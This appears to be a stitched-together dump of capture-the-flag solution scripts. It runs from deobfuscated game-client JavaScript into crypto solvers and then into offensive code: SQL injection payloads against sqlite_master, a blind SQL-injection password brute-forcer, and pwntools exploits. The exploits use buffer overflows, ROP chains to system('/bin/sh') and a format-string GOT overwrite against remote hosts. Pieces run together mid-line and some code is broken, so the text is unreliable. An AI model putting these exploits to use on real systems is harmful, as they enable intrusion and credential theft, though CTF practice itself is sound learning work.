return _0xdc044d;
}
} else {
var _0x32fd69 = _0x418c8e ? function() {
if (true) {//this bit is the only part that runs
if (_0x39da2d) { //true
var _0x4f6b34 = _0x39da2d["apply"](_0x28cb74, arguments);
_0x39da2d = null;
return _0x4f6b34;
}
} else { //never executes
return function(_0x18294d) {}
["constructor"]("while (true) {}")["apply"]("counter");
}
}
: function() {} //this never runs
;
_0x418c8e = ![];
return _0x32fd69;
}
}
;
}();
var _0x27dfce = _0x2f47ff(this, function() {
var _0x4d850d = {
'DGDqE': function(_0x3dac4c, _0xd908d4) {
return _0x3dac4c === _0xd908d4;
},
'QRVqP': "JLgIp",
'MfaDu': "return /" + this + "/",
'axEEo': "^([^ ]+( +[^ ]+)+)+[^ ]}"
};
var _0x4104ec = function() {
if (true) {
var _0x1baf6d = _0x4104ec['constructor']("return /" + this + "/")()['compile']("^([^ ]+( +[^ ]+)+)+[^ ]}");
return !_0x1baf6d["test"](_0x27dfce);
} else { //never executes
that['console'] = function(_0x54cc65) {
var _0x521582 = {};
_0x521582["log"] = _0x54cc65;
_0x521582["warn"] = _0x54cc65;
_0x521582["debug"] = _0x54cc65;
_0x521582["info"] = _0x54cc65;
_0x521582["error"] = _0x54cc65;
_0x521582["exception"] = _0x54cc65;
_0x521582["table"] = _0x54cc65;
_0x521582['trace'] = _0x54cc65;
return _0x521582;
}(func);
}
};
return _0x4104ec();
});
_0x27dfce();
var _0x1baf97 = function() {
var _0x4a04d8 = {
'QDwpw': function(_0x580bda, _0xde7f8) {
return _0x580bda === _0xde7f8;
},
'OdNTA': "kWPwc",
'wuTZe': "XxZiw",
'tKqet': 'ebwEc'
};
var _0x2e098e = !![];
return function(_0x144f1d, _0x210b4a) {
var _0x431a70 = {
'mBvAO': function(_0x4bfe9c, _0x32222e) {
return _0x4bfe9c === _0x32222e;
},
'UdALZ': "kWPwc",
'nyfNW': "XxZiw",
'acHtD': 'ebwEc'
};
var _0x388e28 = _0x2e098e ? function() {
if (false) {
msg = m;
update();
} else {
if (_0x210b4a) {
if (false) {
var _0x37f6ab = _0x210b4a['apply'](_0x144f1d, arguments);
_0x210b4a = null;
return _0x37f6ab;
} else { //does same thing
var _0x4b2e75 = _0x210b4a["apply"](_0x144f1d, arguments);
_0x210b4a = null;
return _0x4b2e75;
}
}
}
}
: function() {}
;
_0x2e098e = ![];
return _0x388e28;
}
;
}();
(function() {
var _0x32f2b7 = {
'natBo': "function *\( *\)",
'SWoKF': '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)',
'TJDZi': function(_0x383e42, _0x247ec9) {
return _0x383e42 + _0x247ec9;
},
'ytInA': function(_0x11e1a6, _0x3012cc) {
return _0x11e1a6 + _0x3012cc;
},
'ADemi': "input",
'rOYXx': "fWNTk",
'GhaAN': function(_0x4d7529, _0x4cb76f) {
return _0x4d7529(_0x4cb76f);
},
'SGiMY': "init",
'aatSn': function(_0x4b2ee6, _0x4523dd) {
return _0x4b2ee6 + _0x4523dd;
},
'jxFJo': "chain",
'RsFHR': function(_0x5a9552, _0x34a4f2) {
return _0x5a9552 + _0x34a4f2;
},
'zQrjS': function(_0x533fe7) {
return _0x533fe7();
}
};
_0x1baf97(this, function() {
var _0x459fa1 = { //creates copy
'xgOqS': "function *\( *\)",
'YjWir': '\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)',
'SvEXK': function(_0x5b2268, _0x20ad34) {
return _0x5b2268(_0x20ad34);
},
'qVrbk': function(_0x4d1237, _0x4cd30e) {
return _0x4d1237 + _0x4cd30e;
},
'IJxOL': "chain",
'HitlB': function(_0x16d47a, _0x19706a) {
return _0x16d47a + _0x19706a;
},
'WFmTt': "input",
'zqUQj': function(_0x45146b, _0x15a3ad) {
return _0x45146b(_0x15a3ad);
},
'JUtuV': function(_0x90fc88, _0x1f2352, _0x330dd0) {
return _0x90fc88(_0x1f2352, _0x330dd0);
}
};
if (true) { //actual code starts
var _0x3db3a5 = new RegExp("function *\( *\)");
var _0x4a74b1 = new RegExp('\+\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i');
var _0x516a0a = _0x2d1069("init"); //cookie stuff
if (!_0x3db3a5['test'](_0x516a0a + "chain") || !_0x4a74b1["test"](_0x516a0a + "input")) {
_0x516a0a('0');
} else {
_0x2d1069;
}
} else { //ignore this
_0x459fa1["JUtuV"](_0x1baf97, this, function() {
var _0x14a11a = new RegExp(_0x459fa1['xgOqS']);
var _0x5167c5 = new RegExp(_0x459fa1["YjWir"],'i');
var _0x35294f = _0x459fa1['SvEXK'](_0x2d1069, "init");
if (!_0x14a11a["test"](_0x459fa1["qVrbk"](_0x35294f, _0x459fa1["IJxOL"])) || !_0x5167c5['test'](_0x459fa1["HitlB"](_0x35294f, _0x459fa1["WFmTt"]))) {
_0x459fa1["zqUQj"](_0x35294f, '0');
} else {
_0x2d1069();
}
})();
}
})();
}());
var _0x2ee600 = function() {
var _0x495ac2 = {
'atoNo': 'KOAwQ',
'csaxQ': 'lCcHJ'
};
var _0x349c1f = !![];
return function(_0x433e6d, _0x5e0022) {
var _0x48c3bc = _0x349c1f ? function() {
if (false) {//ignore
if (_0x5e0022) {
var _0x161cc2 = _0x5e0022['apply'](_0x433e6d, arguments);
_0x5e0022 = null;
return _0x161cc2;
}
} else {//basically do same things
if (_0x5e0022) {
var _0x60f4d3 = _0x5e0022["apply"](_0x433e6d, arguments);
_0x5e0022 = null;
return _0x60f4d3;
}
}
}
: function() {}
;
_0x349c1f = ![];
return _0x48c3bc;
}
;
}();
var _0x45c586 = _0x2ee600(this, function() {
var _0x173ec1 = {
'YYNtE': function(_0x31edf7, _0x1a2a90) {
return _0x31edf7 + _0x1a2a90;
},
'TBWQi': function(_0x50c5e2, _0x145a68) {
return _0x50c5e2 + _0x145a68;
},
'AGQfu': '2|5|9|8|1|6|7|0|4|3',
'NOBjn': "return /" + this + "/",
'WFbnf': "^([^ ]+( +[^ ]+)+)+[^ ]}",
'xRdYC': function(_0x28078a) {
return _0x28078a();
},
'bYadT': function(_0x1edb6d, _0x41b276) {
return _0x1edb6d === _0x41b276;
},
'inFDK': 'wPbVg',
'peJbV': '4|1|5|7|6|3|2|0'
};
var _0x5a2bbc = function() {};
var _0x16f724 = function() {
var _0x47e403;
try {
_0x47e403 = Function('return (function() {}.constructor("return this")( ));')();
} catch (_0x3b48f1) {
_0x47e403 = window;
}
return _0x47e403;
};
var _0x2386f1 = _0x16f724();
if (!_0x2386f1['console']) {
_0x2386f1['console'] = function(_0x368eaa) {
var _0x95093c = ["2", "5", "9", "8", "1", "6", "7", "0", "4", "3"];
var _0x495f14 = 0x0;
while (true) {
switch (_0x95093c[_0x495f14++]) { //iterate throught this
case '0':
_0xd80574["table"] = _0x368eaa;
continue;
case '1':
_0xd80574["info"] = _0x368eaa;
continue;
case '2':
var _0xd80574 = {};
continue;
case '3':
return _0xd80574;
case '4':
_0xd80574['trace'] = _0x368eaa;
continue;
case '5':
_0xd80574["log"] = _0x368eaa;
continue;
case '6':
_0xd80574["error"] = _0x368eaa;
continue;
case '7':
_0xd80574["exception"] = _0x368eaa;
continue;
case '8':
_0xd80574['debug'] = _0x368eaa;
continue;
case '9':
_0xd80574["warn"] = _0x368eaa;
continue;
}
break;
}
}(_0x5a2bbc);
} else {
if (true) {
var _0xd32090 = ["4", "1", "5", "7", "6", "3", "2", "0"];
var _0x64c580 = 0x0;
while (true) {
switch (_0xd32090[_0x64c580++]) {//iterate through this using list
case '0':
_0x2386f1['console']['trace'] = _0x5a2bbc;
continue;
case '1':
_0x2386f1['console']["warn"] = _0x5a2bbc;
continue;
case '2':
_0x2386f1['console']["table"] = _0x5a2bbc;
continue;
case '3':
_0x2386f1['console']["exception"] = _0x5a2bbc;
continue;
case '4':
_0x2386f1['console']["log"] = _0x5a2bbc;
continue;
case '5':
_0x2386f1['console']["debug"] = _0x5a2bbc;
continue;
case '6':
_0x2386f1['console']["error"] = _0x5a2bbc;
continue;
case '7':
_0x2386f1['console']["info"] = _0x5a2bbc;
continue;
}
break;
}
} else {
var _0x3e1b1b = test['constructor']("return /" + this + "/")()['compile']("^([^ ]+( +[^ ]+)+)+[^ ]}");
return !_0x3e1b1b["test"](_0x27dfce);
}
}
});
_0x45c586();
var socket = io();
var bStart = document['getElementById']('bStart');
var cGame = document['getElementById']('cGame');
var pScore = document['getElementById']('pScore');
var score = 0x0;
var msg = '';
var shapes = [];
var ctx = cGame['getContext']('2d');
function update() {
pScore['innerHTML'] = 'Score: ' + score + (msg ? ',\x20' : '') + msg;
}
function drawShapes() {
ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
shapes['map'](
(_0x401a13,_0x53031c)=>_0x53031c ? ctx["fillRect"](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa)
: ctx['beginPath']() + ctx["arc"](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]()
);
}
function getCursorPosition(_0x2b237a, _0x380ec8) {
var _0x127ab4 = {
'NhgpB': function(_0x3d88ae, _0x1d8777) {
return _0x3d88ae - _0x1d8777;
}
};
const _0x17e5d8 = _0x2b237a['getBoundingClientRect']();
const _0x4a40e = _0x380ec8['clientX'] - _0x17e5d8['left'];//90.5
const _0x1efa5e = _0x380ec8['clientY'] - _0x17e5d8['top'];//246.96875
return [_0x4a40e, _0x1efa5e];
}
bStart['addEventListener']('click', function() {
var _0x1cd630 = {
'GYjuS': "start"
};
socket['emit']("start");
});
socket['on']('disconnect', function() {
var _0xf6eed5 = {
'nKIjv': 'You\x20have\x20been\x20disconnected.',
'dUhjz': function(_0x3ebbbf) {
return _0x3ebbbf();
}
};
msg = 'You\x20have\x20been\x20disconnected.';
update();
});
socket['on']('score', function(_0x3576f2) {
score = _0x3576f2;
update();
});
socket['on']('disp', function(_0x522d36) {
var _0x1fe455 = {
'JPNpV': function(_0x31be72) {
return _0x31be72();
}
};
msg = _0x522d36;
update();
});
socket['on']('shapes', function(_0x327b9d) {
var _0x312e90 = {
'NsgvL': function(_0x2c843a) {
return _0x2c843a();
}
};
shapes = _0x327b9d;
drawShapes();
});
ctx['fillStyle'] = '#ff0000';
cGame['addEventListener']('click', function(mousedata) {
var _0x3c1dc7 = {
'CfuWJ': function(_0x5ea446, _0x41976a, _0x3e4576) {
return _0x5ea446(_0x41976a, _0x3e4576);
}
};
var _0x2f570f = getCursorPosition( cGame, mousedata);
socket['emit']('click', _0x2f570f[0x0], _0x2f570f[0x1]);
});
function _0x2d1069(_0x36830f) {
var _0x30ad20 = {
'VStLo': 'HDgHF',
'owlBu': function(_0x368ec1, _0xc0219e) {
return _0x368ec1 === _0xc0219e;
},
'BiQoV': 'kfODI',
'BVgPB': 'string',
'EPpzm': 'AfAOS',
'pXPFL': 'QrXhj',
'aJAlu': "counter",
'wyIUP': function(_0x117ee9, _0xdaeb77) {
return _0x117ee9 + _0xdaeb77;
},
'XVQSP': function(_0x3c2d14, _0x47006) {
return _0x3c2d14 / _0x47006;
},
'nVazA': 'length',
'obezh': function(_0x19cb7e, _0x71f6ca) {
return _0x19cb7e % _0x71f6ca;
},
'EJhsO': 'gger',
'RHjXe': 'action',
'PKkBh': function(_0x33e933, _0x115743) {
return _0x33e933 !== _0x115743;
},
'vBfjr': 'ewwaA',
'WvICz': 'xcJlq',
'pxtCf': 'debu',
'OZmQc': function(_0xdb7a71, _0x5eafb1) {
return _0xdb7a71(_0x5eafb1);
},
'BfCJM': function(_0x2f3450) {
return _0x2f3450();
},
'BQPaR': 'vQRtE'
};
function _0x17b7f6(_0x23c200) {
if (typeof _0x23c200 === 'string') {//checks if string but has to be a number so wont run
if (false) {
return !![]; //true
} else { //actual
return function(_0x12ba0e) {}
["constructor"]("while (true) {}")["apply"]("counter");
}
} else {
if ((_0x23c200 % 0x14) === 0x0) { //checks if divisible by 20
(function() {
if (false) {
return ![];
} else {
return !![]; //true
}
}
["constructor"]('debugger')['call']("action"));
} else {
if (true) {
(function() {
if (false) {
ctx["clearRect"](0x0, 0x0, 0x1f4, 0x12c);
shapes["map"]((_0x16827f,_0x45d640)=>_0x45d640 ? ctx["fillRect"](_0x16827f['x'] - 0x5, _0x16827f['y'] - 0x5, 0xa, 0xa) : ctx["map"]() + ctx["arc"](_0x16827f['x'], _0x16827f['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx["closePath"]() + ctx["fill"]());
} else {
return ![]; //false
}
}
["constructor"]("debugger")["apply"]('stateObject'));
} else {
return _0x17b7f6;
}
}
}
_0x17b7f6(++_0x23c200);
}
try {
if (_0x36830f) {
if (true) {
return _0x17b7f6;
} else {
score = sc;
update();
}
} else {
_0x17b7f6(0x0);
}
} catch (_0x1185a1) {}
}import random
rounds = 5
block_size = 8
invsa = {
0: 1,
1: 13,
2: 14,
3: 9,
4: 3,
5: 6,
6: 5,
7: 4,
8: 8,
9: 10,
10: 7,
11: 2,
12: 12,
13: 0,
14: 15,
15: 11
}
invsb = {
0: 3,
1: 11,
2: 4,
3: 10,
4: 9,
5: 1,
6: 2,
7: 8,
8: 13,
9: 0,
10: 6,
11: 7,
12: 15,
13: 12,
14: 5,
15: 14
}
key = [47, 16, 47, 16, 47, 16, 47, 16]
to_bin = lambda x, n=block_size: format(x, "b").zfill(n)
to_int = lambda x: int(x, 2)
to_chr = lambda x: "".join([chr(i) for i in x])
to_ord = lambda x: [ord(i) for i in x]
bin_join = lambda x, n=int(block_size / 2): (str(x[0]).zfill(n) + str(x[1]).zfill(n))
bin_split = lambda x: (x[0 : int(block_size / 2)], x[int(block_size / 2) :])
str_split = lambda x: [x[i : i + block_size] for i in range(0, len(x), block_size)]
xor = lambda x, y: x ^ y
def sinv(a, b):
return invsa[a], invsb[b]
def pinv(a):
return a[2] + a[5] + a[0] + a[5] + a[1] + a[7] + a[6] + a[4]
def ks(k):
return [
k[i : i + int(block_size)] + k[0 : (i + block_size) - len(k)]
for i in range(rounds)
]
def kx(state, k):
return [xor(state[i], k[i]) for i in range(len(state))]
def eee(i):
a, b = bin_split(to_bin(ord(i)))
sa, sb = s(to_int(a), to_int(b))
pe = p(
bin_join((to_bin(sa, int(block_size / 2)), to_bin(sb, int(block_size / 2))))
)
return to_int(pe)
def dec(ct):
decrypted = []
for i in ct:
for pt in range(256):
if eee(chr(pt)) == ord(i):
decrypted.append(pt)
return decrypted
def decrypt(ct,k):
keys = ks(k)
state = str_split(ct)
for b in range(len(state)):
for i in range(rounds):
rk = dec((state[b]))
state[b] = to_chr(kx((rk), keys[i])) # xor with key
print(state[b])
return [ord(e) for es in state for e in es]
ct = to_str([63, 253, 213, 105, 250, 191, 55, 105, 226, 221, 223, 55, 55, 56, 55, 82, 146, 243, 159, 55, 55, 135, 213, 55, 94, 243, 55, 221, 94, 57, 226, 105, 196, 30, 213, 240, 91, 221, 152, 30, 213, 253, 37, 128])
print(decrypt(ct,key))pow(2,d,n) = 6988657481551558082247356502049073555445834960458123409957016751759848663748957581745765821251560463116160058343877506687308278177291145929388813582775374779608479102031123070130884836405070747154679986845156643241478440121477925138458904221698167029178546870148776935453953443880872009172082519317501149012455829269460844949849248020656483858589254435455075272473746709134180160158806676630015405416208672802814910130080253447731590299483535693930068012996241754780781956591655213569734780947677248231246527075795680938730043262907407842607229576669856011494756829604513528777334097324387135227622403213595884626182url= "http://challenge.ctf.games:31879/robots.txt"
aurl= "http://challenge.ctf.games:31879/"
import urllib.request
def get(url, ua):
req = urllib.request.Request(
url,
data=None,
headers={
'User-Agent': ua
}
)
return req
flag = ["" for i in range(35)]
while "" in flag:
with urllib.request.urlopen(url) as response:
html = response.read()
lines = html.decode().split("\n")
for line in lines:
if "User-agent:" in line:
ua = line[12:]
if "Disallow: " in line:
thing = line[10:]
theurl = aurl + thing
req = get(theurl,ua)
with urllib.request.urlopen(req) as response:
resp = response.read().decode()
if "REJOICE" in resp:
print(resp, line)
thonk = resp.split("INDEX ")
filename = thing[1:]
a1 = int(thonk[1].split(" IS")[0])
a2 = int(thonk[2].split(" IN")[0])
flag[a1] = filename[a2]
print(flag)
print("".join(flag))' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master;--' UNION SELECT sql,NULL,NULL,NULL FROM sqlite_master WHERE name = 'user' AND type = 'table';--import requests
url = 'http://joe-cv.threatsims.com/admin/search'
myobj = {'search': "pp' or password like '%"}
myobj = {}
passwd = "#"
for i in range(64):
for j in "1234567890abcdef":
passwd = passwd[:-1] + j
myobj["search"] = "pp' or password like '" + passwd + "%"
x = requests.post(url, data = myobj)
a = x.text
if "joe" in a:
print(passwd)
passwd += "#"
break
if j == "f" and passwd[-1] != "#":
breakfrom Crypto.Util.number import *
import os,hashlib,itertools
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *
from string import printable
printable = list(printable)
printable.remove('\n')
printable.remove('\x0b')
printable.remove('\x0c')
printable.remove('\t')
printable.remove(' ')
def powbuster(method,target,length):
hash = eval(f"hashlib.{method}")
for possible in itertools.combinations(printable,length):
possible = ''.join(possible).encode()
val = hash(possible).hexdigest()[-6:]
if val == target:
return possible
p = remote('05.cr.yp.toc.tf', 33371)
p.recvuntil(b"Please submit a printable string X, such that ")
method = p.recvuntil("(")[:-1].decode()
p.recvuntil("= ")
target = p.recvuntil(" ")[:-1].decode()
p.recvuntil("len(X) =")
length = int(p.recvline())
print(method,target,length)
ans = powbuster(method,target,length)
print(ans)
p.sendline(ans)
p.interactive()from pwn import *
NUM_TO_RET = 0x1c + 4
padding = b'A'*NUM_TO_RET
e = ELF("./molotov")
p = e.process() if args.LOCAL else remote('54.210.217.206',1240)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc.so.6")
system = int(p.recvline(),16)
p.recvline()
libcbase = system - libc.symbols['system']
log.info(f"System address: {hex(system)}")
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chain = flat(libc.symbols['system'],libc.symbols['exit'],next(libc.search(b"/bin/sh\x00")))
p.sendline(padding + chain)
p.interactive() read(0,local_10,8);
iVar1 = atoi(local_10);import socket
socket = socket.socket()
socket.connect(('secretarray.fword.wtf', 1337))
socket.recv(2048)
def recv():
while True:
a = socket.recv(2048).decode('ASCII')
if a != '\n':
return a
socket.send(b'0 1\n')
a=[]
a.append(int(recv()))
socket.send(b'1 2\n')
a.append(int(recv()))
socket.send(b'2 0\n')
a.append(int(recv()))
s=sum(a)//2
b=[s-a[1], s-a[2], s-a[0]]
print(b)
for i in range(2, 1336):
socket.send(f'{i} {i+1}\n'.encode('ASCII'))
b.append(int(recv())-b[-1])
print(f'{i+1} - {b[-1]}')
socket.send(("DONE "+" ".join(str(i) for i in b)+'\n').encode('ASCII'))
socket.recv(2048)
print(socket.recv(2048))00 00 00 00 de ad be ef41 41 41 41 de ad be effrom pwn import *
e = ELF("./numbers")
context.arch = 'amd64'
p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237)
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
def getoutput(data,cont=True):
p.recvuntil(b"??\n")
# We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow
p.send("-1\x00")
p.recvline()
# Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style
p.send(data)
if not cont:
return
p.recvuntil(data)
ans = p.recvline()
p.recvuntil(b"?\n")
p.send('\n')
return ans[:-1]
num = 0x40
libcleak = getoutput(b'A'*8).ljust(8,b'\x00')
libcleak = u64(libcleak)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - 16 - libc.symbols['atoi']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
padding = b'A'*0x48
rop = ROP(libc)
poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
retgadget = (rop.find_gadget(['ret']))[0]
chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'])
getoutput(padding + chain,False)
p.interactive()from pwn import *
from randcrack import RandCrack
rc = RandCrack()
s = remote("twistwislittlestar.fword.wtf", 4445)
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
print(s.recvline())
d1 = int(s.recvline().decode().split(" : ")[1][:-1])
d2 = int(s.recvline().decode().split(" : ")[1][:-1])
d3 = int(s.recvline().decode().split(" : ")[1][:-1])
print(d1,d2,d3)
rc.submit(d1)
rc.submit(d2)
rc.submit(d3)
print(s.recvline())
for i in range(621):
s.recvline()
s.sendline("1")
s.recvline()
d = int(s.recvline().decode().split(" : ")[1][:-1])
print(d,i)
rc.submit(d)
s.recvline()
p = []
for i in range(100):
p.append(rc.predict_randrange(0, 4294967295))
print(p)
s.interactive()from pwn import *
e = ELF("./remake")
libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
def getproc():
return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
def dofmt(data):
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(data)
output = p.recvline()
p.recvuntil(b">>")
return output
def write_fmt(data):
proc = getproc()
proc.recvuntil(b">>")
proc.sendline("gomugomunomi")
proc.recvuntil(b">>")
proc.send(data)
output = proc.recvline()
proc.close()
return output
auto = FmtStr(write_fmt)
p = getproc()
p.recvuntil(b">>")
string = b"/bin/sh\x00"
payload = p32(e.got['puts']) + b'%7$s'
output = dofmt(payload)[4:8]
libcleak = u32(output)
log.info(f"Libc leak: {hex(libcleak)}")
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
# Overwrite printf@got with system@GLIBC
payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
p.sendline(b"gomugomunomi")
p.recvuntil(b">>")
p.sendline(payload)
p.clean()
p.sendline(b"gomugomunomi")
p.recvline()
p.sendline(b"/bin/sh")
p.interactive()a = "aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt"
b = "sUHoQmijkF23xd4568LEABgMCcNpqtuOPVWDhabT1Gyz0KefRSYZr79IJlvwXn"
a = list(a)
b = list(b)
c = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
o = ""
for i in range(len(a)):
d = b.index(c[i])
o += a[d]
print(o)import angr
import claripy #the solver engine
proj = angr.Project("./welcome", auto_load_libs=False)
sym_arg_size = 0x10 #Length in Bytes because we will multiply with 8 later
inp = [claripy.BVS('flag_%d' % i, 8 ) for i in range(sym_arg_size)]
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
state = proj.factory.full_init_state(args=["./welcome"], stdin=flag)
for byte in inp:
state.solver.add(byte >= ord('0'))
state.solver.add(byte <= ord('9'))
simgr = proj.factory.simulation_manager(state)
good = 0x400000 + 0x12b2
bad = [0x400000 + 0x1669, 0x400000 + 0x167b]
simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find=good)
found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))The solved input is 1755121917194838from pwn import *
import time
printable = "?_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*(){},./<~\\"
host = ('xo.fword.wtf', 5554)
def getnum(string):
while True:
try:
p = remote(*host)
break
except socket.gaierror:
time.sleep(1)
#p = process("./task")
p.recvline()
p.sendline(string)
ans = int(p.recvline())
p.close()
return ans
flag = ''
i = len(flag)
while '}' not in flag:
pad = '`'*i
for char in printable:
totry = pad + char
print(totry)
if getnum(totry) == i:
flag += char
print(f"Flag: {flag}")
break
else:
print(flag)
quit()
i += 1line = "101110100011010000110010100100000011001110110001010101100101000000100111011010010010110101000101000110000100011001001100111011111011101001110111100001100011101010101111101100001000010111111000110110110010110100000001001011100010011000110100111100001100111001101110001111001100010001001111100110110110100001011100011100110101001000011100100011011110011000010100110010100111000010101101110101011100010110000100001101101101001111000101011100101100100110110011101000100010101000010001010010110110101011111101110011101110010000101001000111000000100100001010110111001011110001010100100001101111010010111101111001001001111010001100000111000010000100110101100010001111100011111100100100001010010100111010100010000101110000110101000101100"
n = 9
msg = [line[i:i+n] for i in range(0, len(line), n)]
r=3945132
p =12019806956467800913778611206246062087922374347970383926984004278168670921911203657163080865199043522716298571169006826814578568813815787765574990776255283
q = 11391686090403905599695015583829755003551766728158057028281938682097322841603835874354540607209988671617182359012432600907514677996087087987893334356043831
n= p*q
bs = 9
r=3945132
x=pow(r,2,n)
c = ''
for i in range(81):
x=pow(x,2,n)
p=(bin(x)[2:])[-bs:]
c_i=int(p,2)^int(msg[i],2)
ci_bin = format(c_i, '0' + str(bs) + 'b')
c+=ci_bin
print(c)773656977712623018a = 3134652320855556902
4310293078435922410a = 4232914784858114605194353664298357346a = 53888930611360809
2265916691887264433a = 233243260292215890p = 9444729917070668893
a = 7762244320486225184
b = 731234830430177597
X=[6680465291011788181]
c=0
while c<73:
X.append((a*X[c]+b)%p)
c+=1
o = ""
bleh = [6680465291011788243, 5100570103593250421, 5906808313299165060, 1965917782737693358, 9056785591048864624, 1829758495155458576, 6790868899161600055, 1596515234863242823, 1542626304251881891, 8104506805098882719, 1007224930233032567, 3734079115803760073, 7849173324645439452, 8732100672289854567, 5175836768003400781, 1424151033239111460, 1199105222454059911, 1664215650827157105, 9008386209424299800, 484211781780518254, 2512932525834758909, 270126439443651096, 3183206577049996011, 3279047721488346724, 3454276445316959481, 2818682432513461896, 1198230090827197024, 6998819122186572678, 9203565046169681246, 2238598386754583423, 467098371562174956, 5653529053698720276, 2015452976526330232, 2551998512666399199, 7069788985925185031, 5960242873564733830, 8674335448210427234, 8831855692621741517, 6943582577462564728, 2159276184039111694, 8688468346396385461, 440650407436900405, 6995840816131325250, 4637034747767556143, 3074066864500201630, 3089580429060692934, 2636919931902761401, 5048459994558771200, 6575450200614822046, 666932631675155892, 3355067815387388102, 3494943856508019168, 3208598838604422062, 1651654978658074504, 1031697828323732832, 3522460087077276636, 6871524519121580258, 6523448658792083486, 127306226106122213, 147467006327822722, 3241736541061054362, 8781435214433157730, 7267936298215752831, 3411059229428517472, 6597995245035183751, 1256684894889830824, 6272257692365676430, 303437276610446361, 8730871523914292433, 6472487383860532571, 5022165523149187811, 4462701447753878703, 1590013093628585660, 4874224067795612706]
for i in range(len(bleh)):
o += chr(bleh[i] ^^ X[i])
print(o)english_freq = [' ', 'E','T','A','I','N','O','R','S','L','H',
'C','M','D','Y','P','U','W','F','G','.','V',
'B','X','K',',','Q', 'Z', '\'', '0', '9']
freqenc = sorted(set(enc),key=enc.count,reverse=True)
mapping = {}
for num in freqenc:
if freqenc.index(num) >= len(english_freq):
mapping[num] = '-'
else:
mapping[num] = english_freq[freqenc.index(num)]
dec = ''
for num in enc:
dec += mapping[num]
print(dec)DOEKHESYW RSRLWANA NA HAEU DIO GOERVNSF AHGATNTHTNIS YNMCEOA. TCE FESEORL NUER NA TI DNSU TCE MIMHLRO LETTEOA NS TCE YNMCEOTEXT RSU TOW TI OEMLRYE TCEP GW TCE YIPPIS LETTEOA NS TCE HAEU LRSFHRFE. TCE RTTRYVEO HAHRLLW YCEYVA AIPE MIAANGNLNTNEA RSU PRVEA AIPE AHGATNTHTNISA ID LETTEOA NS YNMCEOTEXT. CE LIIVA DIO MIAANGLE RMMERONSF BIOUA RSU GRAEU IS TCRT PRVEA PIOE AHGATNTHTNISA. HANSF YIPMHTEOA, NT NA MIAANGLE TI TOW R LIT ID YIPGNSRTNISA NS OELRTNQE ACIOT TNPE. BORM TCE DLRF NS NTA DIOPRT 0 BELLDOEKHESYWRSRLWANAOIYVA. DIO EXRPMLE, ND NS TCE RSRLW'EU YNMCEOTEXT TCE PIAT MIMHLRO LETTEO NA X, ISE PRW MOEUNYT TCRT X OEMLRYEU E IO I ZISE ID TCE PIAT MIMHLRO LETTEOA NS ESFLNAC9 DOIP TCE MLRNSTEXT. NT NA HAEDHL TI LIIV DIO MIMHLRO MRNOA ID LETTEOA IO EQES TOW TI MOEUNYT AIPE DOEKHEST LISFEO AEKHESYEA ID LETTEOA IO BCILE BIOUA. TCE NSTOHUEO RLBRWA TONEA TI DNSU AEKHESYEA ID LETTEOA BCNYC ROE IDTES HAEU NS TCE AELEYTEU LRSFHRFE.matrix[0,0] matrix[0,1] matrix[0,2] matrix[1,0] .... ----- matrix2[0,0] .....FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERS. THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGE. THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXT. HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONS. USING COMPUTERS, IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIME. WRAP THE FLAG IN ITS FORMAT 0 WELLFREQUENCYANALYSISROCKS. FOR EXAMPLE, IF IN THE ANALY'ED CIPHERTEXT THE MOST POPULAR LETTER IS X, ONE MAY PREDICT THAT X REPLACED E OR O ZONE OF THE MOST POPULAR LETTERS IN ENGLISH9 FROM THE PLAINTEXT. IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDS. THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF 